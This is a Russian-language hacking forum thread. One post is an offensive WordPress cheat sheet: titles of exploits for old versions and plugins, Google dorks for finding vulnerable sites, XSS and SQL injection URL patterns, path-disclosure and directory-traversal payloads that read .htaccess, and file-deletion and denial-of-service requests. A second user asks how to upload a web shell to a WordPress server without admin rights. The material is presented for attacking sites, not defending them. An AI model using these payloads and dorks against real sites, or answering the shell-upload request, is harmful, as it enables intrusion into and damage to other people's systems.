Уязвимости: Wordpess

[baltazar]

Vulnerabilities:

Wordpress Multiple Versions Pwnpress Exploitation Tookit (0.2pub)

Wordpress plugin myflash <= 1.00 (wppath) RFI Vulnerability

Enigma 2 WordPress Bridge (boarddir) Remote File Include Vulnerability

1.4*
Wordpress plugin wordTube <= 1.43 (wpPATH) RFI Vulnerability

Wordpress plugin wp-Table <= 1.43 (inc_dir) RFI Vulnerability

Wordpress Plugin myGallery <= 1.4b4 Remote File Inclusion Vulnerability


1.5.1.*
Wordpress <= 1.5.1.3 Remote Code Execution eXploit (metasploit)

Wordpress <= 1.5.1.3 Remote Code Execution 0-Day Exploit

Wordpress <= 1.5.1.2 xmlrpc Interface SQL Injection Exploit

WordPress <= 1.5.1.1 SQL Injection Exploit

WordPress <= 1.5.1.1 "add new admin" SQL Injection Exploit

2.0.*
WordPress <= 2.0.2 (cache) Remote Shell Injection Exploit

Wordpress <= 2.0.6 wp-trackback.php Remote SQL Injection Exploit

Wordpress 2.0.5 Trackback UTF-7 Remote SQL Injection Exploit

2.1.*
Wordpress 2.1.2 (xmlrpc) Remote SQL Injection Exploit

Wordpress 2.1.3 admin-ajax.php SQL Injection Blind Fishing Exploit

2.*
Wordpress <= 2.x dictionnary & Bruteforce attack

WordPress 2.2 (wp-app.php) Arbitrary File Upload Exploit

Wordpress 2.2 (xmlrpc.php) Remote SQL Injection Exploit


dork:

"is proudly powered by WordPress"
intext:"Warning: main" inurl:Wp ext:php
inurl:wp-login.php Register Username Password -echo -trac
inurl:"wp-admin" config -cvs -phpxref
inurl:/comments/feed/rss2/ intext:wordpress.org?v=*
Powered by Wordpress 1.2
intext:"proudly powered by WordPress" filetype:php
intext:"powered by WordPress" filetype:php -dritte-seite
intitle:"WordPress > * > Login form" inurl:"wp-login.php" 
ext:php inurl:"wp-login.php" -cvs

Full path disclosure:

WordPress < 1.5.2

Cross-site Scripting:
/wp-login.php?action=login&redirect_to=[XSS]
/wp-admin/templates.php?file=[XSS]
/wp-admin/post.php?content=[XSS]
http://www.example.com/wp-admin/edit-comments.php?s=[XSS]
http://www.example.com/wp-admin/edit-comme...it=Search&mode=[XSS]
http://www.example.com/wp-admin/templates.php?file=[XSS]
http://www.example.com/wp-admin/link-add.php?linkurl=[XSS]
http://www.example.com/wp-admin/link-add.php?name=[XSS]
http://www.example.com/wp-admin/link-categories.php?cat_id=[XSS]&action=Edit
http://www.example.com/wp-admin/link-manager.php?order_by=[XSS]
http://www.example.com/wp-admin/link-manager.php?cat_id=[XSS]
http://www.example.com/wp-admin/link-manag...kedit&link_url=[XSS]
http://www.example.com/wp-admin/link-manag...edit&link_name=[XSS]
http://www.example.com/wp-admin/link-manag...nk_description=[XSS]
http://www.example.com/wp-admin/link-manag...kedit&link_rel=[XSS]
http://www.example.com/wp-admin/link-manag...dit&link_image=[XSS]
http://www.example.com/wp-admin/link-manag...t&link_rss_uri=[XSS]
http://www.example.com/wp-admin/link-manag...dit&link_notes=[XSS]
http://www.example.com/wp-admin/link-manag...nkedit&link_id=[XSS]
http://www.example.com/wp-admin/link-manag...kedit&order_by=[XSS]
http://www.example.com/wp-admin/link-manag...inkedit&cat_id=[XSS]
http://www.example.com/wp-admin/post.php?content=[XSS]
http://www.example.com/wp-admin/moderation...&item_approved=[XSS]

SQL injection examples:
http://www.example.com/index.php?m=[SQL]
http://www.example.com/wp-admin/edit.php?m=[SQL]
http://www.example.com/wp-admin/link-categories.php?cat_id=[SQL]&action=Edit
http://www.example.com/index.php?cat=100)%...0=0%09or%09(0=1

Tables/Prefix_/Columns:
wp_

Hash algorithms:
md5(password)

WordPress Vulnerability Scanner

$ perl -x wp-scanner.pl http://testblog/wordpress/

WordPress Scanner starting: David Kierznowski (http://michaeldaw.org)

Using plugins dir: wp-content/plugins

[*] Initial WordPress Enumeration
[*] Finding WordPress Major Version
[*] Testing WordPress Template for XSS

WordPress Basic Results

        wp-commentsrss2.php =>  Version Leak: WordPress 2.1.3
        wp-links-opml.php =>    Version Leak: WordPress 2.1.3
        wp-major-ver => Version 2.1
        wp-rdf.php =>   Version Leak: WordPress 2.1.3
        wp-rss.php =>   Version Leak: WordPress 2.1.3
        wp-rss2.php =>  Version Leak: WordPress 2.1.3
        wp-server =>    Apache/1.3.34 (Unix) PHP/4.4.4 mod_ssl/2.8.25 OpenSSL/0.9.8a
        wp-style-dir => http://testblog/wordpress/wp-content/themes/time1-theme-10/style.css
        wp-title => Test Blog
        wp-version =>   WordPress 2.1.3
        x-Pingback =>   http://testblog/wordpress/xmlrpc.php

WordPress Plugins Found

        wp-plugins[0]    => Akismet

Download

Full path disclosure:

http://site/wp-admin/index.php?page=
http://site/wp-admin/link-manager.php?page=
http://site/wp-admin/link-add.php?page=
http://site/wp-admin/link-categories.php?page=
http://site/wp-admin/link-import.php?page=
http://site/wp-admin/theme-editor.php?page=
http://site/wp-admin/plugins.php?page=
http://site/wp-admin/plugin-editor.php?page=
http://site/wp-admin/profile.php?page=
http://site/wp-admin/users.php?page=
http://site/wp-admin/options-general.php?page=
http://site/wp-admin/options-writing.php?page=
http://site/wp-admin/options-reading.php?page=
http://site/wp-admin/options-discussion.php?page=
http://site/wp-admin/options-permalink.php?page=
http://site/wp-admin/options-misc.php?page=
http://site/wp-admin/import.php?page=
http://site/wp-admin/admin.php?page=
http://site/wp-admin/admin-footer.php
http://site/wp-admin/admin-functions.php
http://site/wp-admin/edit-form.php
http://site/wp-admin/edit-form-advanced.php
http://site/wp-admin/edit-form-comment.php
http://site/wp-admin/edit-link-form.php
http://site/wp-admin/edit-page-form.php
http://site/wp-admin/menu.php
http://site/wp-admin/menu-header.php
http://site/wp-admin/import/blogger.php
http://site/wp-admin/import/dotclear.php
http://site/wp-admin/import/greymatter.php
http://site/wp-admin/import/livejournal.php
http://site/wp-admin/import/mt.php
http://site/wp-admin/import/rss.php
http://site/wp-admin/import/textpattern.php
http://site/wp-admin/bookmarklet.php?page=
http://site/wp-admin/cat-js.php?page=
http://site/wp-admin/inline-uploading.php?page=
http://site/wp-admin/options.php?page=
http://site/wp-admin/profile-update.php?page=
http://site/wp-admin/sidebar.php?page=
http://site/wp-admin/user-edit.php?page=
http://site/wp-admin/templates.php?file= 
http://site/wp-admin/templates.php?page=
http://site/wp-admin/edit-pages.php?page=
http://site/wp-admin/categories.php?page=
http://site/wp-admin/edit-comments.php?page=
http://site/wp-admin/moderation.php?page=
http://site/wp-admin/post.php?page=
http://site/wp-admin/page-new.php?page=

Local file include и Directory traversal:

http://site/wp-admin/index.php?page=\..\..\file.php
http://site/wp-admin/index.php?page=\..\..\.htaccess
http://site/wp-admin/link-manager.php?page=\..\..\.htaccess
http://site/wp-admin/templates.php?page=\..\..\file.php
http://site/wp-admin/templates.php?page=\..\..\.htaccess
http://site/wp-admin/edit-pages.php?page=\..\..\.htaccess
http://site/wp-admin/categories.php?page=\..\..\.htaccess
http://site/wp-admin/edit-comments.php?page=\..\..\.htaccess
http://site/wp-admin/moderation.php?page=\..\..\.htaccess
http://site/wp-admin/post.php?page=\..\..\.htaccess
http://site/wp-admin/page-new.php?page=\..\..\.htaccess
http://site/wp-admin/link-add.php?page=\..\..\.htaccess
http://site/wp-admin/link-categories.php?page=\..\..\.htaccess
http://site/wp-admin/link-import.php?page=\..\..\.htaccess
http://site/wp-admin/theme-editor.php?page=\..\..\.htaccess
http://site/wp-admin/plugin-editor.php?page=\..\..\.htaccess
http://site/wp-admin/profile.php?page=\..\..\.htaccess
http://site/wp-admin/users.php?page=\..\..\.htaccess
http://site/wp-admin/options-general.php?page=\..\..\.htaccess
http://site/wp-admin/options-writing.php?page=\..\..\.htaccess
http://site/wp-admin/options-reading.php?page=\..\..\.htaccess
http://site/wp-admin/options-discussion.php?page=\..\..\.htaccess
http://site/wp-admin/options-permalink.php?page=\..\..\.htaccess
http://site/wp-admin/options-misc.php?page=\..\..\.htaccess
http://site/wp-admin/import.php?page=\..\..\.htaccess
http://site/wp-admin/admin.php?page=\..\..\.htaccess
http://site/wp-admin/bookmarklet.php?page=\..\..\.htaccess
http://site/wp-admin/cat-js.php?page=\..\..\.htaccess
http://site/wp-admin/inline-uploading.php?page=\..\..\.htaccess
http://site/wp-admin/options.php?page=\..\..\.htaccess
http://site/wp-admin/profile-update.php?page=\..\..\.htaccess
http://site/wp-admin/sidebar.php?page=\..\..\.htaccess
http://site/wp-admin/user-edit.php?page=\..\..\.htaccess

Arbitrary file edit:

http://site/wp-admin/templates.php?file=\..\..\file

Arbitrary file deletion:

http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=../../.htaccess

Только на windows:

http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=\..\..\.htaccess

DoS:

http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=../../index.php

Только на windows:

http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=\..\..\index.php

WordPress <=2.3.x​

Раскрытие пути:

/wp-admin/import/blogger.php
/wp-admin/import/blogware.php
/wp-admin/import/btt.php
/wp-admin/import/dotclear.php
/wp-admin/import/greymatter.php
/wp-admin/import/jkw.php
/wp-admin/import/livejournal.php
/wp-admin/import/mt.php
/wp-admin/import/rss.php
/wp-admin/import/stp.php
/wp-admin/import/textpattern.php
/wp-admin/import/utw.php
/wp-admin/import/wordpress.php
/wp-admin/import/wp-cat2tag.php
/wp-admin/includes/admin.php
/wp-admin/includes/class-ftp-pure.php
/wp-admin/includes/class-ftp-sockets.php
/wp-admin/includes/comment.php
/wp-admin/includes/file.php
/wp-admin/includes/media.php
/wp-admin/includes/misc.php
/wp-admin/includes/schema.php
/wp-admin/includes/update.php
/wp-admin/includes/upgrade.php
/wp-admin/includes/widgets.php
/wp-admin/admin-footer.php
/wp-admin/admin-functions.php
/wp-admin/edit-category-form.php
/wp-admin/edit-form-advanced.php
/wp-admin/edit-form-comment.php
/wp-admin/edit-form.php
/wp-admin/edit-link-category-form.php
/wp-admin/edit-link-form.php
/wp-admin/edit-page-form.php
/wp-admin/edit-tag-form.php
/wp-admin/menu-header.php
/wp-admin/menu.php
/wp-admin/options-head.php
/wp-admin/upgrade-functions.php
/wp-content/plugins/akismet/akismet.php
/wp-content/plugins/wp-admin-fluency/wp-admin-fluency.php
/wp-content/plugins/hello.php
/wp-content/plugins/rus-to-lat.php
/wp-content/plugins/russian-date.php
/wp-content/themes/classic/comments-popup.php
/wp-content/themes/classic/comments.php
/wp-content/themes/classic/footer.php
/wp-content/themes/classic/header.php
/wp-content/themes/classic/index.php
/wp-content/themes/classic/sidebar.php
/wp-content/themes/default/404.php
/wp-content/themes/default/archive.php
/wp-content/themes/default/archives.php
/wp-content/themes/default/attachment.php
/wp-content/themes/default/comments-popup.php
/wp-content/themes/default/footer.php
/wp-content/themes/default/functions.php
/wp-content/themes/default/header.php
/wp-content/themes/default/image.php
/wp-content/themes/default/index.php
/wp-content/themes/default/links.php
/wp-content/themes/default/page.php
/wp-content/themes/default/search.php
/wp-content/themes/default/searchform.php
/wp-content/themes/default/sidebar.php
/wp-content/themes/default/single.php
/wp-includes/js/tinymce/langs/wp-langs.php
/wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php
/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php
/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php
/wp-includes/bookmark.php
/wp-includes/canonical.php
/wp-includes/default-filters.php
/wp-includes/feed-atom-comments.php
/wp-includes/feed-atom.php
/wp-includes/feed-rdf.php
/wp-includes/feed-rss.php
/wp-includes/feed-rss2-comments.php
/wp-includes/feed-rss2.php
/wp-includes/general-template.php
/wp-includes/kses.php
/wp-includes/media.php
/wp-includes/registration-functions.php
/wp-includes/rss-functions.php
/wp-includes/rss.php
/wp-includes/script-loader.php
/wp-includes/shortcodes.php
/wp-includes/template-loader.php
/wp-includes/update.php
/wp-includes/vars.php
/wp-includes/widgets.php
/wp-settings.php

 

[xKiller]

мужики! Наставьте на правильный путь. Задался таким вопросом, как не имея админского доступа и прав на блоге WP, залить шелл на сервак через этот WP??
Точно знаю, что уже есть методика. Расскажите просто в общем структуру действий. Существуют ли варианты заливки без применения xss? Если нбез xss не обойтись, то как вообщем все это дело юзать?
Помогите новичку...